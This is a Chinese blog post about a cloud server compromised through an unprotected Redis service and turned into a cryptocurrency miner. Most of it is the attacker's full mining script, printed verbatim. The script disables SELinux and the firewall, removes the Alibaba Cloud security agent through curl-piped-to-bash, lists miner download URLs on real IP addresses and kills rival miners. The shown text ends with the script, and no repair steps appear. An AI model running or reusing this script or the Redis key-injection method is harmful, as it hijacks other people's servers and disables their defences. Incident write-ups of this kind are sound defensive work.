ECS被攻击中毒沦为矿机的修复过程

本文涉及的产品
云数据库 Tair(兼容Redis),内存型 2GB
Redis 开源版,标准版 2GB
推荐场景:
搭建游戏排行榜
简介: 近期,登录阿里云官网购买的服务器,看到云安全中心分数非常低,查看了“安全告警处理”,发现疑似受到了攻击。于是,跟挖矿病毒的一场博弈开始了。

问题描述

     近期,登录阿里云官网购买的服务器,看到云安全中心分数非常低,查看了“安全告警处理”,发现疑似受到了攻击。

     于是,跟挖矿病毒的一场博弈开始了。

问题排查/原因

     根据云安全的提示,找到相关的进程,对可疑的进程使用kill命令,之后检查,发现平台仍不断提醒我警报未消除,尝试去查“载荷投递”却一无所获。看着一个个警告信息但却束手无策,便不由得想放弃,但转念一想,自己的相关的数据文件全在服务器上,重装系统固然可以解决,但是万一在中毒了呢?具体是哪的问题被攻击了呢?一个又一个问题促使我又继续探寻下去。

     兜兜转转查看好多资料后才逐渐了解到,服务器中了挖矿病毒。攻击者通过Redis服务配置不当的漏洞,入侵服务器后放置脚本,其目的是利用服务器资源来挖矿,并且脚本自带端口扫描会对周围服务器进行检测,继续寻找新的宿主机尝试入侵(脚本不断恶意扫描端口),进而获取更多的矿机,而开采门罗币/比特币则是需要很多的服务器资源,因此也不足为奇了。

     根据云平台的提示和自己的查询,发现是由于服务器Redis服务监听了公网端口未设置访问密码并且其进程启动时使用了root用户,攻击者可远程登录到Redis中,通过Redis内置的命令将自己的公钥写入到/root/.ssh/authorized_keys文件夹下,进而可以直接免密登录到服务器上,并在服务器中植入恶意脚本,实现利用服务器挖矿操作。

1.png

     可以看到,密码为空。

     top一下,可以看到,除了各种异常进程,还有异常的连接:

2.png

    根据相关的进程,可以看到有个脚本非常诡异,拷贝出来仔细一看,正是这个挖矿脚本,具体如下:

#!/bin/sh
setenforce 0 2>dev/null
echo SELINUX=disabled > /etc/sysconfig/selinux 2>/dev/null
sync && echo 3 >/proc/sys/vm/drop_caches
crondir='/var/spool/cron/'"$USER"
cont=`cat ${crondir}`
ssht=`cat /root/.ssh/authorized_keys`
echo 1 > /etc/zzhs
rtdir="/etc/zzhs"
bbdir="/usr/bin/curl"
bbdira="/usr/bin/cd1"
ccdir="/usr/bin/wget"
ccdira="/usr/bin/wd1"
mv /usr/bin/curl /usr/bin/url
mv /usr/bin/url /usr/bin/cd1
mv /usr/bin/wget /usr/bin/get
mv /usr/bin/get /usr/bin/wd1
ulimit -n 65535
rm -rf /var/log/syslog
chattr -iua /tmp/
chattr -iua /var/tmp/
ufw disable
iptables -F
#sudo sysctl kernel.nmi_watchdog=0
echo '0' >/proc/sys/kernel/nmi_watchdog
echo 'kernel.nmi_watchdog=0' >>/etc/sysctl.conf
userdel akay
userdel vfinder
rm -rf /tmp/addres*
rm -rf /tmp/walle*
rm -rf /tmp/keys
if ps aux | grep -i '[a]liyun'; then
 $bbdir http://update.aegis.aliyun.com/download/uninstall.sh | bash
 $bbdir http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
 $bbdira http://update.aegis.aliyun.com/download/uninstall.sh | bash
 $bbdira http://update.aegis.aliyun.com/download/quartz_uninstall.sh | bash
 pkill aliyun-service
 rm -rf /etc/init.d/agentwatch /usr/sbin/aliyun-service
 rm -rf /usr/local/aegis*
 systemctl stop aliyun.service
 systemctl disable aliyun.service
 service bcm-agent stop
 yum remove bcm-agent -y
 apt-get remove bcm-agent -y
elif ps aux | grep -i '[y]unjing'; then
 /usr/local/qcloud/stargate/admin/uninstall.sh
 /usr/local/qcloud/YunJing/uninst.sh
 /usr/local/qcloud/monitor/barad/admin/uninstall.sh
fi

miner_url="http://39.100.33.209/b2f628/zzh"
miner_url_backup="http://47.253.42.213/b2f628/zzh"
miner_size="7600464"
sh_url="http://39.100.33.209/b2f628/newinit.sh"
sh_url_backup="http://47.253.42.213/b2f628/newinit.sh"
config_url="http://39.100.33.209/b2f628/config.json"
config_url_backup="http://47.253.42.213/b2f628/config.json"
config_size="2732"
chattr_size="8000"
#scan_url="http://103.125.218.107/b2f628/svcworkmanager"
#scan_url_backup="http://45.9.148.37/b2f628fff19fda999999999/svcworkmanager"
#scan_size="1919056"
#watchdog_url="http://103.125.218.107/b2f628/svcguard"
#watchdog_url_backup="http://45.9.148.37/b2f628fff19fda999999999/svcguard"
#watchdog_size="1472136"
#$bbdira -fsSL http://103.125.218.107/b2f628/iplog.php 2>/dev/null
#$bbdir -fsSL http://45.9.148.37/b2f628fff19fda999999999/iplog.php 2>/dev/null
#$ccdira http://103.125.218.107/b2f628/iplog.php -O /tmp/.null 2>/dev/null
#$ccdir http://45.9.148.37/b2f628fff19fda999999999/iplog.php -O /tmp/.null 2>/dev/null
rm -f /tmp/.null 2>/dev/null

echo 128 > /proc/sys/vm/nr_hugepages
sysctl -w vm.nr_hugepages=128

kill_miner_proc()
{
netstat -anp | grep 185.71.65.238 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep 140.82.52.87 | awk '{print $7}' | awk -F'[/]' '{print $1}' | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :23 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :443 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :143 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :2222 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3333 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3389 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :5555 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6666 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6665 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :6667 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :7777 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :8444 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
netstat -anp | grep :3347 | awk '{print $7}' | awk -F'[/]' '{print $1}' | grep -v "-" | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':3333' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep ':5555' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kworker -c\' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'log_' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'systemten' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'voltuned' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'darwin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/dl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/pprt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/ppol' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/65ccE*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/jmx*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/2Ne80*' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'IOFoqIgyC0zmf2UR' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '45.76.122.92' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.38.191.178' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.15.56.161' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '86s.jpg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aGTSGJJp' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nMrfmnRa' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'PuNY5tm2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'I0r8Jyyt' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AgdgACUD' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'uiZvwxG8' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'BtwXn5qH' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '3XEzey2T' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 't2tKrCSZ' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'svc' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'HD7fcBgg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'zXcDajSs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '3lmigMo' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AkMK4A2' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'AJ2AkKe' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'HiPxCJRS' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC030' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC031' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC032' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'http_0xCC033' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "C4iLM4L" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | awk '{ if(substr($11,1,2)=="./" && substr($12,1,2)=="./") print $2 }' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/boot/vmlinuz' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "i4b503a52cc5" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "dgqtrcst23rtdi3ldqk322j2" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "2g0uv7npuhrlatd" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "nqscheduler" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rkebbwgqpl4npmm" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "]" | awk '$3>10.0{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "2fhtu70teuhtoh78jc5s" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "0kwti6ut420t" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "44ct7udt0patws3agkdfqnjm" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v "/" | grep -v "-" | grep -v "_" | awk 'length($11)>19{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "\[^" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "rsync" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "watchd0g" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | egrep 'wnTKYg|2t3ik|qW3xT.2|ddg' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "158.69.133.18:8220" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "/tmp/java" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'gitee.com' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/java' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '104.248.4.162' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '89.35.39.78' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/dev/shm/z3.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kthrotlds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ksoftirqds' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'netdns' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'watchdogs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kdevtmpfsi' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'kinsing' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'redis2' | awk '{print $2}' | xargs -I % kill -9 %
#ps aux | grep -v grep | grep -v root | grep -v dblaunch | grep -v dblaunchs | grep -v dblaunched | grep -v apache2 | grep -v atd | grep -v kdevtmpfsi | awk '$3>80.0{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " ps" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep "sync_supers" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep "cpuset" | cut -c 9-15 | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "x]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep "sh] <" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep -v aux | grep " \[]" | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/l.sh' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/zmcat' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'hahwNEdB' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'CnzFVPLF' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'CvKzzZLs' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'aziplcr72qjhzvin' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '/tmp/udevd' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'KCBjdXJsIC1vIC0gaHR0cDovLzg5LjIyMS41Mi4xMjIvcy5zaCApIHwgYmFzaCA' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'Y3VybCAtcyBodHRwOi8vMTA3LjE3NC40Ny4xNTYvbXIuc2ggfCBiYXNoIC1zaAo' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'sustse3' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '2mr.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'cr5.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'logo9.jpg' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'j2.conf' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'luk-cpu' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'ficov' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'he.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'miner.sh' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'wget' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep 'nullcrew' | grep 'curl' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '107.174.47.156' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '83.220.169.247' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '51.38.203.146' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '144.217.45.45' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '107.174.47.181' | awk '{print $2}' | xargs -I % kill -9 %
ps aux | grep -v grep | grep '176.31.6.16' | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "mine.moneropool.com" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "pool.t00ls.ru" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:8080" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:3333" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "zhuabcn@yahoo.com" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "monerohash.com" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "/tmp/a7b104c270" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:6666" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:7777" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmr.crypto-pool.fr:443" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "stratum.f2pool.com:8888" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "xmrpool.eu" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep -v grep | grep "kieuanilam.me" | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep xiaoyao | awk '{print $2}' | xargs -I % kill -9 %
ps auxf | grep xiaoxue | awk '{print $2}' | xargs -I % kill -9 %
netstat -antp | grep '46.243.253.15' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
netstat -antp | grep '176.31.6.16' | grep 'ESTABLISHED\|SYN_SENT' | awk '{print $7}' | sed -e "s/\/.*//g" | xargs -I % kill -9 %
pgrep -f L2Jpbi9iYXN | xargs -I % kill -9 %
pgrep -f xzpauectgr | xargs -I % kill -9 %
pgrep -f slxfbkmxtd | xargs -I % kill -9 %
pgrep -f mixtape | xargs -I % kill -9 %
pgrep -f addnj | xargs -I % kill -9 %
pgrep -f 200.68.17.196 | xargs -I % kill -9 %
pgrep -f IyEvYmluL3NoCgpzUG | xargs -I % kill -9 %
pgrep -f KHdnZXQgLXFPLSBodHRw | xargs -I % kill -9 %
pgrep -f FEQ3eSp8omko5nx9e97hQ39NS3NMo6rxVQS3 | xargs -I % kill -9 %
pgrep -f Y3VybCAxOTEuMTAxLjE4MC43Ni9saW4udHh0IHxzaAo | xargs -I % kill -9 %
pgrep -f mwyumwdbpq.conf | xargs -I % kill -9 %
pgrep -f honvbsasbf.conf | xargs -I % kill -9 %
pgrep -f mqdsflm.cf | xargs -I % kill -9 %
pgrep -f lower.sh | xargs -I % kill -9 %
pgrep -f ./ppp | xargs -I % kill -9 %
pgrep -f cryptonight | xargs -I % kill -9 %
pgrep -f ./seervceaess | xargs -I % kill -9 %
pgrep -f ./servceaess | xargs -I % kill -9 %
pgrep -f ./servceas | xargs -I % kill -9 %
pgrep -f ./servcesa | xargs -I % kill -9 %
pgrep -f ./vsp | xargs -I % kill -9 %
pgrep -f ./jvs | xargs -I % kill -9 %
pgrep -f ./pvv | xargs -I % kill -9 %
pgrep -f ./vpp | xargs -I % kill -9 %
pgrep -f ./pces | xargs -I % kill -9 %
pgrep -f ./rspce | xargs -I % kill -9 %
pgrep -f ./haveged | xargs -I % kill -9 %
pgrep -f ./jiba | xargs -I % kill -9 %
pgrep -f ./watchbog | xargs -I % kill -9 %
pgrep -f ./A7mA5gb | xargs -I % kill -9 %
pgrep -f kacpi_svc | xargs -I % kill -9 %
pgrep -f kswap_svc | xargs -I % kill -9 %
pgrep -f kauditd_svc | xargs -I % kill -9 %
pgrep -f kpsmoused_svc | xargs -I % kill -9 %
pgrep -f kseriod_svc | xargs -I % kill -9 %
pgrep -f kthreadd_svc | xargs -I % kill -9 %
pgrep -f ksoftirqd_svc | xargs -I % kill -9 %
pgrep -f kintegrityd_svc | xargs -I % kill -9 %
pgrep -f jawa | xargs -I % kill -9 %
pgrep -f oracle.jpg | xargs -I % kill -9 %
pgrep -f 45cToD1FzkjAxHRBhYKKLg5utMGEN | xargs -I % kill -9 %
pgrep -f 188.209.49.54 | xargs -I % kill -9 %
pgrep -f 181.214.87.241 | xargs -I % kill -9 %
pgrep -f etnkFgkKMumdqhrqxZ6729U7bY8pzRjYzGbXa5sDQ | xargs -I % kill -9 %
pgrep -f 47TdedDgSXjZtJguKmYqha4sSrTvoPXnrYQEq2Lbj | xargs -I % kill -9 %
pgrep -f etnkP9UjR55j9TKyiiXWiRELxTS51FjU9e1UapXyK | xargs -I % kill -9 %
pgrep -f servim | xargs -I % kill -9 %
pgrep -f kblockd_svc | xargs -I % kill -9 %
pgrep -f native_svc | xargs -I % kill -9 %
pgrep -f ynn | xargs -I % kill -9 %
pgrep -f 65ccEJ7 | xargs -I % kill -9 %
pgrep -f jmxx | xargs -I % kill -9 %
pgrep -f 2Ne80nA | xargs -I % kill -9 %
pgrep -f sysstats | xargs -I % kill -9 %
pgrep -f systemxlv | xargs -I % kill -9 %
pgrep -f watchbog | xargs -I % kill -9 %
pgrep -f OIcJi1m | xargs -I % kill -9 %
pkill -f biosetjenkins
pkill -f Loopback
pkill -f apaceha
pkill -f cryptonight
pkill -f mixnerdx
pkill -f performedl
pkill -f JnKihGjn
pkill -f irqba2anc1
pkill -f irqba5xnc1
pkill -f irqbnc1
pkill -f ir29xc1
pkill -f conns
pkill -f irqbalance
pkill -f crypto-pool
pkill -f XJnRj
pkill -f mgwsl
pkill -f pythno
pkill -f jweri
pkill -f lx26
pkill -f NXLAi
pkill -f BI5zj
pkill -f askdljlqw
pkill -f minerd
pkill -f minergate
pkill -f Guard.sh
pkill -f ysaydh
pkill -f bonns
pkill -f donns
pkill -f kxjd
pkill -f Duck.sh
pkill -f bonn.sh
pkill -f conn.sh
pkill -f kworker34
pkill -f kw.sh
pkill -f pro.sh
pkill -f polkitd
pkill -f acpid
pkill -f icb5o
pkill -f nopxi
pkill -f irqbalanc1
pkill -f minerd
pkill -f i586
pkill -f gddr
pkill -f mstxmr
pkill -f ddg.2011
pkill -f wnTKYg
pkill -f deamon
pkill -f disk_genius
pkill -f sourplum
pkill -f polkitd
pkill -f nanoWatch
pkill -f zigw
pkill -f devtool
pkill -f devtools
pkill -f systemctI
pkill -f watchbog
pkill -f cryptonight
pkill -f sustes
pkill -f xmrig
pkill -f xmrig-cpu
pkill -f 121.42.151.137
pkill -f init12.cfg
pkill -f nginxk
pkill -f tmp/wc.conf
pkill -f xmrig-notls
pkill -f xmr-stak
pkill -f suppoie
pkill -f zer0day.ru
pkill -f dbus-daemon--system
pkill -f nullcrew
pkill -f systemctI
pkill -f kworkerds
pkill -f init10.cfg
pkill -f /wl.conf
pkill -f crond64
pkill -f sustse
pkill -f vmlinuz
pkill -f exin
pkill -f apachiii
pkill -f svcworkmanager
pkill -f xr
pkill -f trace
pkill -f svcupdate
rm -rf /usr/bin/config.json
rm -rf /usr/bin/exin
rm -rf /tmp/wc.conf
rm -rf /tmp/log_rot
rm -rf /tmp/apachiii
rm -rf /tmp/sustse
rm -rf /tmp/php
rm -rf /tmp/p2.conf
rm -rf /tmp/pprt
rm -rf /tmp/ppol
rm -rf /tmp/javax/config.sh
rm -rf /tmp/javax/sshd2
rm -rf /tmp/.profile
rm -rf /tmp/1.so
rm -rf /tmp/kworkerds
rm -rf /tmp/kworkerds3
rm -rf /tmp/kworkerdssx
rm -rf /tmp/xd.json
rm -rf /tmp/syslogd
rm -rf /tmp/syslogdb
rm -rf /tmp/65ccEJ7
rm -rf /tmp/jmxx
rm -rf /tmp/2Ne80nA
rm -rf /tmp/dl
rm -rf /tmp/ddg
rm -rf /tmp/systemxlv
rm -rf /tmp/systemctI
rm -rf /tmp/.abc
rm -rf /tmp/osw.hb
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/.java
rm -rf /tmp/.omed
rm -rf /tmp/.tmpc
rm -rf /tmp/.tmpleve
rm -rf /tmp/.tmpnewzz
rm -rf /tmp/gates.lod
rm -rf /tmp/conf.n
rm -rf /tmp/devtool
rm -rf /tmp/devtools
rm -rf /tmp/fs
rm -rf /tmp/.rod
rm -rf /tmp/.rod.tgz
rm -rf /tmp/.rod.tgz.1
rm -rf /tmp/.rod.tgz.2
rm -rf /tmp/.mer
rm -rf /tmp/.mer.tgz
rm -rf /tmp/.mer.tgz.1
rm -rf /tmp/.hod
rm -rf /tmp/.hod.tgz
rm -rf /tmp/.hod.tgz.1
rm -rf /tmp/84Onmce
rm -rf /tmp/C4iLM4L
rm -rf /tmp/lilpip
rm -rf /tmp/3lmigMo
rm -rf /tmp/am8jmBP
rm -rf /tmp/tmp.txt
rm -rf /tmp/baby
rm -rf /tmp/.lib
rm -rf /tmp/systemd
rm -rf /tmp/lib.tar.gz
rm -rf /tmp/baby
rm -rf /tmp/java
rm -rf /tmp/j2.conf
rm -rf /tmp/.mynews1234
rm -rf /tmp/a3e12d
rm -rf /tmp/.pt
rm -rf /tmp/.pt.tgz
rm -rf /tmp/.pt.tgz.1
rm -rf /tmp/go
rm -rf /tmp/java
rm -rf /tmp/j2.conf
rm -rf /tmp/.tmpnewasss
rm -rf /tmp/java
rm -rf /tmp/go.sh
rm -rf /tmp/go2.sh
rm -rf /tmp/khugepageds
rm -rf /tmp/.censusqqqqqqqqq
rm -rf /tmp/.kerberods
rm -rf /tmp/kerberods
rm -rf /tmp/seasame
rm -rf /tmp/touch
rm -rf /tmp/.p
rm -rf /tmp/runtime2.sh
rm -rf /tmp/runtime.sh
rm -rf /dev/shm/z3.sh
rm -rf /dev/shm/z2.sh
rm -rf /dev/shm/.scr
rm -rf /dev/shm/.kerberods
rm -f /etc/ld.so.preload
rm -f /usr/local/lib/libioset.so
chattr -i /etc/ld.so.preload
rm -f /etc/ld.so.preload
rm -f /usr/local/lib/libioset.so
rm -rf /tmp/watchdogs
rm -rf /etc/cron.d/tomcat
rm -rf /etc/rc.d/init.d/watchdogs
rm -rf /usr/sbin/watchdogs
rm -f /tmp/kthrotlds
rm -f /etc/rc.d/init.d/kthrotlds
rm -rf /tmp/.sysbabyuuuuu12
rm -rf /tmp/logo9.jpg
rm -rf /tmp/miner.sh
rm -rf /tmp/nullcrew
rm -rf /tmp/proc
rm -rf /tmp/2.sh
rm /opt/atlassian/confluence/bin/1.sh
rm /opt/atlassian/confluence/bin/1.sh.1
rm /opt/atlassian/confluence/bin/1.sh.2
rm /opt/atlassian/confluence/bin/1.sh.3
rm /opt/atlassian/confluence/bin/3.sh
rm /opt/atlassian/confluence/bin/3.sh.1
rm /opt/atlassian/confluence/bin/3.sh.2
rm /opt/atlassian/confluence/bin/3.sh.3
rm -rf /var/tmp/f41
rm -rf /var/tmp/2.sh
rm -rf /var/tmp/config.json
rm -rf /var/tmp/xmrig
rm -rf /var/tmp/1.so
rm -rf /var/tmp/kworkerds3
rm -rf /var/tmp/kworkerdssx
rm -rf /var/tmp/kworkerds
rm -rf /var/tmp/wc.conf
rm -rf /var/tmp/nadezhda.
rm -rf /var/tmp/nadezhda.arm
rm -rf /var/tmp/nadezhda.arm.1
rm -rf /var/tmp/nadezhda.arm.2
